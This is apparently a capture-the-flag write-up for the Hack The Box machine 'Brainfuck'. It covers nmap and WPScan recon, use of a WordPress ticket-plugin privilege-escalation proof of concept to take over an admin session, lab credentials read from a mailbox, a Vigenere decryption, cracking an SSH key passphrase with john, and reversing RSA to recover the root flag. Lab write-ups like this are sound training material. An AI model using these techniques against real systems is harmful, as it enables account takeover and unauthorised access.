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  1. [root:/git/htb/brainfuck]# nmap -Pn -n -sCV (master✱) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA) | 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA) |_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519) 25/tcp open smtp Postfix smtpd |smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: USER RESP-CODES SASL(PLAIN) AUTH-RESP-CODE CAPA TOP PIPELINING UIDL 143/tcp open imap Dovecot imapd |_imap-capabilities: capabilities ENABLE IDLE have AUTH=PLAINA0001 more Pre-login LOGIN-REFERRALS post-login IMAP4rev1 OK SASL-IR listed LITERAL+ ID 443/tcp open ssl/http nginx 1.10.0 (Ubuntu) |_http-server-header: nginx/1.10.0 (Ubuntu) |_http-title: Welcome to nginx! | ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR | Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb | Not valid before: 2017-04-13T11:19:29 |_Not valid after: 2027-04-11T11:19:29 |_ssl-date: TLS randomness does not represent time | tls-alpn: | http/1.1 | tls-nextprotoneg: |_ http/1.1 Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel



  1. Add the the names ‘www.brainfuck.htb’ and ‘sup3rs3cr3t.brainfuck.htb’ to /etc/hosts, found from the nmap output.

    ‘sup3rs3cr3t.brainfuck.htb’ is a git-like page. Looking around we find the users ‘orestis’ and ‘admin’. We can create an account but not much more then that.

    ‘www.brainfuck.htb’ is the main wordpress page. Visiting ‘https://brainfuck.htb/wp-login.php’ we find in the source code that it’s version 4.7.3.

    Run WPscan towards the site to see if we find any vulnerable plugins.

    [root:/git/htb/brainfuck]# wpscan –url https://brainfuck.htb/ –enumerate p –disable-tls-checks [+] wp-support-plus-responsive-ticket-system | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/ | Last Updated: 2019-09-03T07:57:00.000Z | [!] The version is out of date, the latest version is 9.1.2 | | Found By: Urls In Homepage (Passive Detection) | | Version: 7.1.3 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt

  2. Reading about wp-support-plus-responsive-ticket-system 7.1.3 we find a vulnerability where we can steal admin cookies to gain unauth access.

    Download the POC-code and modify it to our needs. [root:/git/htb/brainfuck]# cat test.html (master✱)

    PlayerThree POC - wp_set_auth_cookie PrivEsc

    1. Enter username of whom to steal cookie from. Press 'STEAL!'.

    2. Visit https://brainfuck.htb/wp-admin/ to gain the users admin access.


    Open the file, press ‘STEAL!’ and then visit https://brainfuck.htb/wp-admin/ to reach the admin dashboard.

  3. In the wp-admin dashboard browse to Settings > Easy WP SMTP. Inspect element and you’ll see the hidden password.

    SMTP Creds: orestis:kHGuERB29DNiNE

    As we could see from initial recon pop3 (110) and imap (143) are open on the remote host. Either setup a mail-client, like Thunderbird, or access the server through telnet. I chose to start with telnet as it’s faster, if we don’t find anything of use I’d go to Thunderbird.

    root@nidus:/git/htb/brainfuck# telnet 110 Trying… Connected to Escape character is ‘^]’. +OK Dovecot ready. USER orestis +OK PASS kHGuERB29DNiNE +OK Logged in.

    RETR 2 +OK 514 octets Return-Path: root@brainfuck.htb X-Original-To: orestis Delivered-To: orestis@brainfuck.htb Received: by brainfuck (Postfix, from userid 0) id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST) To: orestis@brainfuck.htb Subject: Forum Access Details Message-Id: 20170429101206.4227420AEB@brainfuck Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST) From: root@brainfuck.htb (root)

    Hi there, your credentials for our “secret” forum are below :)

    username: orestis password: kIEnnfEKJ#9UmdO

    Regards .

  4. We found an email with credentials orestis:kIEnnfEKJ#9UmdO to the “secret” forum. Browse to sup3rs3cr3t.brainfuck.htb and login as orestis.

    Here we find a message from the admin saying that all SSH passwords are revoked, and the users should use keys instead. orestis and admin have an enctrypted conversation, we instantly spot a url and try to decode the message.


    ‘mnvze’ is most likely https, and ‘sp_ptr’ could be id_rsa since they are talking about ssh keys.

    Looking at unencrypted posts in thread SSH Access orestis always ends his posts with ‘Orestis - Hacking for fun and profit’, this gives us a huge hint as all encrypted messages have a similar ending.

    Pieagnm - Jkoijeg nbw zwx mle grwsnn Wejmvse - Fbtkqal zqb rso rnl cwihsf Qbqquzs - Pnhekxs dpi fca fhf zdmgzt

    Testing around different common ciphers I found that Vigenere Cipher gave me an interesting output. Passphrase: https Message: mnvze Decoded message: fuckm

    Testing if sp_ptr is id_rsa. Passphrase: id_rsa Message: sp_ptr Decoded message: km_ybr

    Lets try the signatures as well: Passphrase: orestis Message1: Pieagnm Decode1: Brainfu

    Message2: Wejmvse Decode2: Infuckm

    Message3: Qbqquzs Decode3: Ckmybra

    Adding all the decoded messages together it looks like the key should be ‘fuckmybrain’

    Decrypting the conversation between Orestis and Admin:

    ADMIN: There you go you stupid fuck, I hope you remember your key password because I dont :)

    ORESTIS: No problem, I’ll brute force it ;)

  5. Download the id_rsa and brute force it.

    Convert id_rsa (.pem) to hash with ssh2john, and the crack with john. [root:/git/htb/brainfuck]# /usr/share/john/ssh2john.py id_rsa > id_rsa.hash [root:/git/htb/brainfuck]# john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt [..] 3poulakia! (id_rsa)

    [root:/git/htb/brainfuck]# chmod 600 id_rsa [root:/git/htb/brainfuck]# ssh orestis@ -i id_rsa (master✱) Enter passphrase for key ‘id_rsa’:3poulakia! [..] orestis@brainfuck:~$ cat user.txt 2c11cfbc5b959f73ac15a3310bd097c9


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  1. In orestis home directory we find three files pointing us towards root.txt.

    • encrypt.sage
    • output.txt
    • debug.txt

ENCRYPT BREAKDOWN; PASSWORD: - sets content of /root/root.txt as variable ‘password’ - encodes ‘password’ to hex16, and declare it variable ‘m’, as an integer - c = pow(m, e, n), meaning (m**e) % n = c - Encrypted password = c

To get the unencrypted password I need to figure out the variables m, e and n to be able to reverse it.

e = last string of debug.txt
n = first (p) * second (q) string of debug.txt
m = calculate the equation (m**e) % n = output.txt
  1. The code to grab /root/root.txt is commented making it possible to understand what happens. [root:/git/htb/brainfuck]# python3 root-plz.py (master✱) Formel to calculate: (x^b) mod c = y —snip— x decoded (/root/root.txt): 6efc1a5dbb8904751ce6566a305bb8ef

Report flag and win.


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WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation POC https://www.exploit-db.com/exploits/41006

POP3 Using Telnet: https://kewl.lu/articles/pop3/

Vigenere Cipher decrypt: http://rumkin.com/tools/cipher/vigenere.php

Charmichael lambda: https://stackoverflow.com/questions/49818392/how-to-find-reverse-of-powa-b-c-in-python

Decode integer: https://stackoverflow.com/questions/40123901/python-integer-to-hex-string-with-padding/40123984#40123984